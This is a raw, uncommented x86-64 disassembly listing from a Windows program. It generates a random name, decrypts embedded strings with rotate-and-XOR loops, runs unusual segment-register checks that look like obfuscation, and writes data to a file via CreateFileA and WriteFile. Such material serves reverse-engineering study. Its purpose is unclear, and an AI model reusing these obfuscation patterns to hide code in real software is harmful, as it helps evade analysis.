xorps xmm0, xmm0
movups xmmword [rbp + 0xe0], xmm0
mov qword [rbp + 0xf0], r15
mov qword [rbp + 0xf8], r15
xor r8d, r8d
lea rdx, [0x7ff765a1a3a1]
lea rcx, [rbp + 0xe0]
call fcn.7ff76597e990
mov edi, dword [rsp + 0x64]
bts edi, 7
mov dword [rsp + 0x64], edi
mov r12d, 0x10
lea rsi, [0x7ff765970000]
nop dword [rax]
call qword [sym.imp.ucrtbase.dll_rand]
mov ebx, eax
mov eax, 0xea0ea0eb
imul ebx
add edx, ebx
sar edx, 5
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, edx, 0x23
sub ebx, ecx
movsxd rax, ebx
movzx r9d, byte [rax + rsi + 0xaa450]
mov rcx, qword [rbp + 0xf0]
mov rdx, qword [rbp + 0xf8]
cmp rcx, rdx
jae 0x7ff765979658
lea rax, [rcx + 1]
mov qword [rbp + 0xf0], rax
lea rax, [rbp + 0xe0]
cmp rdx, 0xf
cmova rax, qword [rbp + 0xe0]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x7ff765979664
lea rcx, [rbp + 0xe0]
call fcn.7ff76597ed30
sub r12, 1
jne 0x7ff7659795f0
mov byte [0x7ff765a28978], r12b
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0xe0]
call fcn.7ff76597c6e0
xorps xmm0, xmm0
movups xmmword [rbp + 0xb0], xmm0
mov qword [rbp + 0xc0], r15
mov qword [rbp + 0xc8], r15
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xb0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0xc0], xmm1
mov qword [rax + 0x10], r15
mov ebx, 0xf
mov qword [rax + 0x18], rbx
mov byte [rax], r12b
bts edi, 8
lea rsi, [r13 + 0x20]
lea rax, [rbp + 0xb0]
cmp rsi, rax
lea r12, [r13 + 0x40]
je 0x7ff76597974e
mov rdx, qword [rsi + 0x18]
cmp rdx, rbx
jbe 0x7ff765979714
mov rcx, qword [rsi]
inc rdx
cmp rdx, 0x1000
jb 0x7ff76597970f
add rdx, 0x27
mov rbx, qword [rcx - 8]
sub rcx, rbx
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x7ff765979787
mov rcx, rbx
mov ebx, 0xf
call fcn.7ff7659fad04
mov qword [rsi + 0x10], r15
mov qword [rsi + 0x18], rbx
mov byte [rsi], 0
movups xmm0, xmmword [rbp + 0xb0]
movups xmmword [rsi], xmm0
movups xmm1, xmmword [rbp + 0xc0]
movups xmmword [rsi + 0x10], xmm1
mov qword [rbp + 0xc0], r15
mov rax, rbx
mov qword [rbp + 0xc8], rbx
mov byte [rbp + 0xb0], 0
jmp 0x7ff765979755
mov rax, qword [rbp + 0xc8]
cmp rax, 0xf
jbe 0x7ff765979793
lea rdx, [rax + 1]
mov rcx, qword [rbp + 0xb0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff76597978e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff76597978e
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff7659fad04
mov qword [rbp + 0xc0], r15
mov qword [rbp + 0xc8], rbx
mov byte [rbp + 0xb0], 0
btr edi, 7
mov dword [rsp + 0x64], edi
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0xf
jbe 0x7ff7659797f1
inc rdx
mov rcx, qword [rbp + 0xe0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff7659797ec
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff76597a42e
call fcn.7ff7659fad04
mov qword [rbp + 0xf0], r15
mov qword [rbp + 0xf8], rbx
mov byte [rbp + 0xe0], 0
lea rax, [rbp + 0x50]
mov qword [rbp - 0x70], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x60], r15
mov qword [rbp + 0x68], r15
mov r14, qword [rbp + 0xe40]
lea r15, [rbp + 0xe30]
cmp qword [rbp + 0xe48], 0xf
cmova r15, qword [rbp + 0xe30]
movabs rax, 0x7fffffffffffffff
cmp r14, rax
ja 0x7ff76597af34
mov edi, 0x16
movabs rcx, 0x8000000000000000
cmp r14, 0xf
ja 0x7ff765979878
mov qword [rbp + 0x60], r14
mov qword [rbp + 0x68], rbx
movups xmm0, xmmword [r15]
movups xmmword [rbp + 0x50], xmm0
jmp 0x7ff765979907
mov rbx, r14
or rbx, 0xf
mov qword [rbp + 0xf50], rbx
cmp rbx, rax
jbe 0x7ff765979894
mov rbx, rax
lea rax, [rcx + 0x27]
jmp 0x7ff7659798bc
mov qword [rbp + 0x600], rdi
cmp rbx, rdi
cmovb rbx, rdi
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x7ff7659798de
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x7ff76597ae8c
mov rcx, rax
call fcn.7ff7659fa9b0
mov rcx, rax
test rax, rax
je 0x7ff76597a42e
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x7ff7659798ec
test rcx, rcx
je 0x7ff7659798ea
call fcn.7ff7659fa9b0
jmp 0x7ff7659798ec
xor eax, eax
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x60], r14
mov qword [rbp + 0x68], rbx
lea r8, [r14 + 1]
mov rdx, r15
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x50]
mov qword [rbp + 0x348], rax
mov rcx, qword gs:[0x216]
mov rax, qword gs:[0x44]
cmp rax, rcx
jne 0x7ff765979942
movzx eax, byte [rbp + 0x13372e17]
mov byte [rbp + 0xda9], al
lea rcx, [rbp + 0xda9]
call fcn.7ff7659717a0
mov eax, dword [0x7ff765a1a9e0]
mov dword [rbp - 0x48], eax
movzx eax, byte [0x7ff765a1a9e4]
mov byte [rbp - 0x44], al
lea rdx, [rbp - 0x48]
lea rbx, [rbp - 0x48]
mov r8d, 5
movzx ecx, byte [rdx]
shr cl, 1
movzx eax, byte [rdx]
shl al, 7
or cl, al
mov byte [rbx], cl
movzx eax, byte [rdx]
xor al, 0x63
mov byte [rbx], al
lea rbx, [rbx + 1]
lea rdx, [rdx + 1]
sub r8, 1
jne 0x7ff765979963
lea rax, [rbp - 0x48]
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], 0
jne 0x7ff765979992
mov rdx, qword [rsi + 0x10]
movabs r15, 0x7fffffffffffffff
sub r15, rdx
cmp r15, rcx
jb 0x7ff76597aef6
mov rax, rsi
cmp qword [rsi + 0x18], 0xf
jbe 0x7ff7659799c2
mov rax, qword [rsi]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rbp - 0x48]
mov r8, rsi
movzx edx, byte [rsp + 0x60]
lea rcx, [rbp + 0x90]
call fcn.7ff7659800e0
mov ebx, dword [rsp + 0x64]
bts ebx, 9
lea rax, [rbp + 0x90]
mov qword [rbp + 0x10], rax
lea rax, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rax, qword [rbp + 0x90]
mov qword [rbp - 0x70], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp - 0x68], rax
call fcn.7ff7659f9ec0
movaps xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rbp + 0x5e0], xmm0
lea r8, [rbp + 0x5e0]
mov edx, eax
lea rcx, [rbp + 0x318]
call fcn.7ff7659721a0
or ebx, 0xc00
mov dword [rsp + 0x64], ebx
lea rcx, [rbp + 0x318]
call fcn.7ff765973830
movzx r14d, al
mov rdx, qword [rbp + 0x330]
cmp rdx, 7
jbe 0x7ff765979aa8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x318]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff765979aa3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff765979b89
call fcn.7ff7659fad04
xor r15d, r15d
mov qword [rbp + 0x328], r15
mov qword [rbp + 0x330], 7
mov word [rbp + 0x318], r15w
test r14b, r14b
je 0x7ff765979baf
lea rax, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rax, qword [rbp + 0x90]
mov qword [rbp - 0x70], rax
mov rax, qword [rbp + 0xa0]
mov qword [rbp - 0x68], rax
call fcn.7ff7659f9ec0
movaps xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rbp + 0x5d0], xmm0
lea r8, [rbp + 0x5d0]
mov edx, eax
lea rcx, [rbp + 0x280]
call fcn.7ff7659721a0
or ebx, 0x3000
mov dword [rsp + 0x64], ebx
lea rcx, [rbp + 0x280]
cmp qword [rbp + 0x298], 7
cmova rcx, qword [rbp + 0x280]
call fcn.7ff7659fa608
shr rax, 0x20
test eax, eax
jne 0x7ff76597aefc
mov rdx, qword [rbp + 0x298]
cmp rdx, 7
jbe 0x7ff765979b95
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x280]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff765979b90
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff765979b90
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff7659fad04
mov qword [rbp + 0x290], r15
mov qword [rbp + 0x298], 7
mov word [rbp + 0x280], r15w
lea rcx, [rbp + 0x90]
cmp qword [rbp + 0xa8], 0xf
cmova rcx, qword [rbp + 0x90]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov edx, 0xc0000000
lea r8d, [r9 + 3]
call qword [sym.imp.kernel32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x7ff765979c66
lea rdx, [rbp + 0xa30]
call fcn.7ff7659756d0
mov r9, rax
mov rbx, rax
mov r8, rax
mov r10d, 0x15
nop
movzx edx, byte [rbx]
shr dl, 6
movzx ecx, byte [rbx]
shl cl, 2
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x75
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r10, 1
jne 0x7ff765979c10
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
lea r8, [0x7ff7659744e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.kernel32.dll_CreateThread]
mov ecx, 0xbb8
call qword [sym.imp.kernel32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.kernel32.dll_ExitProcess]
lea rdx, [rbp + 0x50]
cmp qword [rbp + 0x68], 0xf
cmova rdx, qword [rbp + 0x50]
mov qword [rsp + 0x20], r15
lea r9, [rbp + 0xf10]
mov r8d, dword [rbp + 0x60]
mov rcx, rbx
call qword [sym.imp.kernel32.dll_WriteFile]
test eax, eax
jne 0x7ff765979d06
lea rdx, [rbp + 0xa18]
call fcn.7ff765975750
mov r9, rax
mov rbx, rax
mov r8, rax
mov r10d, 0x15
nop dword [rax]
movzx edx, byte [rbx]
shr dl, 2
movzx ecx, byte [rbx]
shl cl, 6
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x70
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r10, 1
jne 0x7ff765979cb0
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
lea r8, [0x7ff7659744e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.kernel32.dll_CreateThread]
mov ecx, 0xbb8
call qword [sym.imp.kernel32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.kernel32.dll_ExitProcess]
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
test eax, eax
jne 0x7ff765979d86
lea rdx, [rbp + 0x9e8]
call fcn.7ff7659757d0
mov r9, rax
mov rbx, rax
mov r8, rax
mov r10d, 0x15
nop
movzx ecx, byte [rbx]
movzx edx, byte [rbx]
shl dl, 3
shr cl, 5
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x4f
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r10, 1
jne 0x7ff765979d30
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
lea r8, [0x7ff7659744e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.kernel32.dll_CreateThread]
mov ecx, 0xbb8
call qword [sym.imp.kernel32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.kernel32.dll_ExitProcess]
mov rdx, qword [rbp + 0xa8]
cmp rdx, 0xf
jbe 0x7ff765979dca
inc rdx
mov rcx, qword [rbp + 0x90]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff765979dc5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff765979dc5
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff7659fad04
mov qword [rbp + 0xa0], r15
mov qword [rbp + 0xa8], 0xf
mov byte [rbp + 0x90], 0
mov rdx, qword [rbp + 0x68]
cmp rdx, 0xf
jbe 0x7ff765979e1e
inc rdx
mov rcx, qword [rbp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff765979e19
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff76597a42e
call fcn.7ff7659fad04
mov qword [rbp + 0x60], r15
mov qword [rbp + 0x68], 0xf
mov byte [rbp + 0x50], 0
lea rax, [rbp + 0x30]
mov qword [rbp + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], r15
mov qword [rbp + 0x48], r15
mov r14, qword [rbp + 0xea0]
lea r15, [rbp + 0xe90]
cmp qword [rbp + 0xea8], 0xf
cmova r15, qword [rbp + 0xe90]
movabs rax, 0x7fffffffffffffff
cmp r14, rax
ja 0x7ff76597af34
cmp r14, 0xf
ja 0x7ff765979e95
mov qword [rbp + 0x40], r14
mov qword [rbp + 0x48], 0xf
movups xmm0, xmmword [r15]
movups xmmword [rbp + 0x30], xmm0
jmp 0x7ff765979f2f
mov rbx, r14
or rbx, 0xf
mov qword [rbp + 0xf58], rbx
cmp rbx, rax
jbe 0x7ff765979edb
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.7ff7659fa9b0
mov rcx, rax
test rax, rax
je 0x7ff76597a42e
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x7ff765979f14
mov qword [rbp + 0x5c0], rdi
cmp rbx, 0x16
cmovb rbx, rdi
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x7ff765979f06
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x7ff76597ae8c
jmp 0x7ff765979eb9
test rcx, rcx
je 0x7ff765979f12
call fcn.7ff7659fa9b0
jmp 0x7ff765979f14
xor eax, eax
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x40], r14
mov qword [rbp + 0x48], rbx
lea r8, [r14 + 1]
mov rdx, r15
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rbp + 0x30]
mov qword [rbp + 0x348], rax
mov rcx, qword gs:[0x21a]
mov rax, qword gs:[0x44]
cmp rax, rcx
jne 0x7ff765979f6a
movzx eax, byte [rbp + 0x13372ea0]
mov byte [rbp + 0xdab], al
lea rcx, [rbp + 0xdab]
call fcn.7ff7659717a0
mov eax, dword [0x7ff765a1a9e8]
mov dword [rbp - 0x60], eax
movzx eax, byte [0x7ff765a1a9ec]
mov byte [rbp - 0x5c], al
lea rdx, [rbp - 0x60]
lea rbx, [rbp - 0x60]
mov r13d, 5
nop dword [rax + rax]
movzx ecx, byte [rdx]
shr cl, 2
movzx eax, byte [rdx]
shl al, 6
or cl, al
mov byte [rbx], cl
movzx eax, byte [rdx]
xor al, 0x7e
mov byte [rbx], al
lea rbx, [rbx + 1]
lea rdx, [rdx + 1]
sub r13, 1
jne 0x7ff765979f90
lea rax, [rbp - 0x60]
mov r14, 0xffffffffffffffff
mov rcx, r14
inc rcx
cmp byte [rax + rcx], 0
jne 0x7ff765979fc3
mov rdx, qword [r12 + 0x10]
movabs r15, 0x7fffffffffffffff
mov rax, r15
sub rax, rdx
cmp rax, rcx
jb 0x7ff76597af12
mov rax, r12
cmp qword [r12 + 0x18], 0xf
jbe 0x7ff765979ff9
mov rax, qword [r12]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rbp - 0x60]
mov r8, r12
movzx edx, byte [rsp + 0x60]
lea rcx, [rbp + 0x70]
call fcn.7ff7659800e0
mov ebx, dword [rsp + 0x64]
bts ebx, 0xe
lea rax, [rbp + 0x70]
mov qword [rbp + 0x10], rax
lea rax, [rbp + 0x70]
cmp qword [rbp + 0x88], 0xf
cmova rax, qword [rbp + 0x70]
mov qword [rbp - 0x70], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp - 0x68], rax
call fcn.7ff7659f9ec0
movaps xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rbp + 0x640], xmm0
lea r8, [rbp + 0x640]
mov edx, eax
lea rcx, [rbp + 0x358]
call fcn.7ff7659721a0
or ebx, 0x18000
mov dword [rsp + 0x64], ebx
lea rcx, [rbp + 0x358]
call fcn.7ff765973830
movzx edi, al
mov rdx, qword [rbp + 0x370]
cmp rdx, 7
jbe 0x7ff76597a0d2
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x358]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff76597a0cd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x7ff76597a1ab
call fcn.7ff7659fad04
xor eax, eax
mov qword [rbp + 0x368], rax
mov qword [rbp + 0x370], 7
mov word [rbp + 0x358], ax
test dil, dil
je 0x7ff76597a1d4
lea rax, [rbp + 0x70]
cmp qword [rbp + 0x88], 0xf
cmova rax, qword [rbp + 0x70]
mov qword [rbp - 0x70], rax
mov rax, qword [rbp + 0x80]
mov qword [rbp - 0x68], rax
call fcn.7ff7659f9ec0
movaps xmm0, xmmword [rbp - 0x70]
movdqa xmmword [rbp + 0x610], xmm0
lea r8, [rbp + 0x610]
mov edx, eax
lea rcx, [rbp + 0x1c0]
call fcn.7ff7659721a0
or ebx, 0x60000
mov dword [rsp + 0x64], ebx
lea rcx, [rbp + 0x1c0]
cmp qword [rbp + 0x1d8], 7
cmova rcx, qword [rbp + 0x1c0]
call fcn.7ff7659fa608
shr rax, 0x20
test eax, eax
jne 0x7ff76597af18
mov rdx, qword [rbp + 0x1d8]
cmp rdx, 7
jbe 0x7ff76597a1b7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff76597a1b2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff76597a1b2
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff7659fad04
xor edi, edi
mov qword [rbp + 0x1d0], rdi
mov qword [rbp + 0x1d8], 7
mov word [rbp + 0x1c0], di
jmp 0x7ff76597a1d6
xor edi, edi
lea rcx, [rbp + 0x70]
cmp qword [rbp + 0x88], 0xf
cmova rcx, qword [rbp + 0x70]
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov edx, 0xc0000000
lea r8d, [r9 + 3]
call qword [sym.imp.kernel32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x7ff76597a285
lea rdx, [rbp + 0x9b8]
call fcn.7ff7659756d0
mov r9, rax
mov rbx, rax
mov r8, rax
mov r10d, 0x15
nop
movzx ecx, byte [rbx]
movzx edx, byte [rbx]
shl dl, 2
shr cl, 6
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x75
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r10, 1
jne 0x7ff76597a230
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
lea r8, [0x7ff7659744e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.kernel32.dll_CreateThread]
mov ecx, 0xbb8
call qword [sym.imp.kernel32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.kernel32.dll_ExitProcess]
lea rdx, [rbp + 0x30]
cmp qword [rbp + 0x48], 0xf
cmova rdx, qword [rbp + 0x30]
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0xf14]
mov r8d, dword [rbp + 0x40]
mov rcx, rbx
call qword [sym.imp.kernel32.dll_WriteFile]
test eax, eax
jne 0x7ff76597a325
lea rdx, [rbp + 0x988]
call fcn.7ff765975750
mov r9, rax
mov rbx, rax
mov r8, rax
mov r10d, 0x15
nop dword [rax + rax]
movzx edx, byte [rbx]
shr dl, 2
movzx ecx, byte [rbx]
shl cl, 6
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x70
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r10, 1
jne 0x7ff76597a2d0
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
lea r8, [0x7ff7659744e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.kernel32.dll_CreateThread]
mov ecx, 0xbb8
call qword [sym.imp.kernel32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.kernel32.dll_ExitProcess]
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
test eax, eax
jne 0x7ff76597a3a5
lea rdx, [rbp + 0x958]
call fcn.7ff7659757d0
mov r9, rax
mov rbx, rax
mov r8, rax
mov r10d, 0x15
nop dword [rax]
movzx ecx, byte [rbx]
movzx edx, byte [rbx]
shl dl, 3
shr cl, 5
or dl, cl
mov byte [r8], dl
movzx eax, byte [rbx]
xor al, 0x4f
mov byte [r8], al
lea r8, [r8 + 1]
lea rbx, [rbx + 1]
sub r10, 1
jne 0x7ff76597a350
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
lea r8, [0x7ff7659744e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.kernel32.dll_CreateThread]
mov ecx, 0xbb8
call qword [sym.imp.kernel32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.kernel32.dll_ExitProcess]
mov rdx, qword [rbp + 0x88]
cmp rdx, 0xf
jbe 0x7ff76597a3e6
inc rdx
mov rcx, qword [rbp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff76597a3e1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff76597a3e1
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff7659fad04
mov qword [rbp + 0x80], rdi
mov qword [rbp + 0x88], 0xf
mov byte [rbp + 0x70], 0
mov rdx, qword [rbp + 0x48]
cmp rdx, 0xf
jbe 0x7ff76597a43a
inc rdx
mov rcx, qword [rbp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x7ff76597a435
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x7ff76597a435
call qword [sym.imp.ucrtbase.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.7ff7659fad04
mov qword [rbp + 0x40], rdi
mov qword [rbp + 0x48], 0xf
mov byte [rbp + 0x30], 0
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0xf60]
call sub.VCRUNTIME140.dll_memset
mov rcx, qword gs:[0x21f]
mov rax, qword gs:[0x44]
cmp rax, rcx
jne 0x7ff76597a48e
movzx eax, byte [rbp + 0x13373143]
mov byte [rbp + 0xdaa], al
lea rcx, [rbp + 0xdaa]
call fcn.7ff7659717a0
movsd xmm0, qword [0x7ff765a1a5c0]
movsd qword [rbp + 0x130], xmm0
mov eax, dword [0x7ff765a1a5c8]
mov dword [rbp + 0x138], eax
movzx eax, word [0x7ff765a1a5cc]
mov word [rbp + 0x13c], ax
movzx eax, byte [0x7ff765a1a5ce]
mov byte [rbp + 0x13e], al
lea rdx, [rbp + 0x130]
lea rbx, [rbp + 0x130]
mov r8d, 0xf
nop dword [rax]
movzx eax, byte [rdx]
movzx ecx, byte [rdx]
shl cl, 4
shr al, 4
or cl, al
mov byte [rbx], cl
movzx eax, byte [rdx]
xor al, 0x7d
mov byte [rbx], al
lea rbx, [rbx + 1]
lea rdx, [rdx + 1]
sub r8, 1
jne 0x7ff76597a4e0
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0xf60]
call fcn.7ff76597b480
nop
mov rcx, qword [rsi + 0x10]
mov rax, r15
mov rdx, qword [rbp + 0xe80]
sub rax, rdx
cmp rax, rcx
jb 0x7ff76597af2e
mov r14, 0xffffffffffffffff
movabs r15, 0x7fffffffffffffff
lea r12d, [r14 + 0x10]
mov rcx, qword gs:[0x227]
mov rax, qword gs:[0x44]
cmp rax, rcx
jne 0x7ff76597a90f
movzx eax, byte [rbp + 0x13372fdc]
mov byte [rbp + 0xda4], al
lea rcx, [rbp + 0xda4]
call fcn.7ff7659717a0
movsd xmm0, qword [0x7ff765a1a668]
movsd qword [rbp + 0x170], xmm0
mov eax, dword [0x7ff765a1a670]
mov dword [rbp + 0x178], eax
movzx eax, word [0x7ff765a1a674]
mov word [rbp + 0x17c], ax
lea rdx, [rbp + 0x170]
lea rbx, [rbp + 0x170]
mov r13d, 0xe
nop dword [rax]
movzx ecx, byte [rdx]
shr cl, 7
movzx eax, byte [rdx]
add al, al
or cl, al
mov byte [rbx], cl
movzx eax, byte [rdx]
xor al, 0x78
mov byte [rbx], al
lea rbx, [rbx + 1]
lea rdx, [rdx + 1]
sub r13, 1
jne 0x7ff76597a950
lea rcx, [rbp + 0x170]
call fcn.7ff7659717a0
mov rcx, qword gs:[0x22e]
mov rax, qword gs:[0x44]
cmp rax, rcx
mov r13, qword [rbp - 0x38]
jne 0x7ff76597a9b4
movzx eax, byte [rbp + 0x133732e5]
mov byte [rbp + 0xda0], al
lea rcx, [rbp + 0xda0]
call fcn.7ff7659717a0
movaps xmm0, xmmword [0x7ff765a1a760]
movaps xmmword [rbp + 0x700], xmm0
movaps xmm1, xmmword [0x7ff765a1a770]
movaps xmmword [rbp + 0x710], xmm1
movaps xmm0, xmmword [0x7ff765a1a780]
movaps xmmword [rbp + 0x720], xmm0
movaps xmm1, xmmword [0x7ff765a1a790]
movaps xmmword [rbp + 0x730], xmm1
movaps xmm0, xmmword [0x7ff765a1a7a0]
movaps xmmword [rbp + 0x740], xmm0
movaps xmm1, xmmword [0x7ff765a1a7b0]
movaps xmmword [rbp + 0x750], xmm1
movaps xmm0, xmmword [0x7ff765a1a7c0]
movaps xmmword [rbp + 0x760], xmm0
movaps xmm1, xmmword [0x7ff765a1a7d0]
movaps xmmword [rbp + 0x770], xmm1
movzx eax, word [0x7ff765a1a7e0]
mov word [rbp + 0x780], ax
lea rdx, [rbp + 0x700]
lea rbx, [rbp + 0x700]
mov r8d, 0x82
nop word [rax + rax]
movzx ecx, byte [rdx]
shr cl, 1
movzx eax, byte [rdx]
shl al, 7
or cl, al
mov byte [rbx], cl
movzx eax, byte [rdx]
xor al, 0x72
mov byte [rbx], al
lea rbx, [rbx + 1]
lea rdx, [rdx + 1]
sub r8, 1
jne 0x7ff76597aa50
mov rcx, qword gs:[0x22b]
mov rax, qword gs:[0x44]
cmp rax, rcx
jne 0x7ff76597aaa4
movzx eax, byte [rbp + 0x13373056]
mov byte [rbp + 0xda7], al
lea rcx, [rbp + 0xda7]
call fcn.7ff7659717a0
movsd xmm0, qword [0x7ff765a1ac38]
movsd qword [rbp + 0x20], xmm0
movzx eax, word [0x7ff765a1ac40]
mov word [rbp + 0x28], ax
movzx eax, byte [0x7ff765a1ac42]
mov byte [rbp + 0x2a], al
lea rdx, [rbp + 0x20]
lea rbx, [rbp + 0x20]
mov r8d, 0xb
nop dword [rax]
nop dword [rax + rax]
movzx eax, byte [rdx]
movzx ecx, byte [rdx]
shl cl, 7
shr al, 1
or cl, al
mov byte [rbx], cl
movzx eax, byte [rdx]
xor al, 0x77
mov byte [rbx], al
lea rbx, [rbx + 1]
lea rdx, [rdx + 1]
sub r8, 1
jne 0x7ff76597aae0
lea rax, [rbp + 0x20]
nop dword [rax + rax]
inc r14
cmp byte [rax + r14], 0
jne 0x7ff76597ab10
mov rcx, qword [r13 + 0x30]
sub r15, rcx
cmp r15, r14
jb 0x7ff76597ae86
lea rax, [r13 + 0x20]
cmp qword [r13 + 0x38], 0xf
jbe 0x7ff76597ab39
mov rax, qword [r13 + 0x20]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r14
lea r9, [rbp + 0x20]
lea r8, [r13 + 0x20]
movzx edx, byte [rsp + 0x60]
lea rcx, [rbp + 0x410]
call fcn.7ff7659800e0
nop
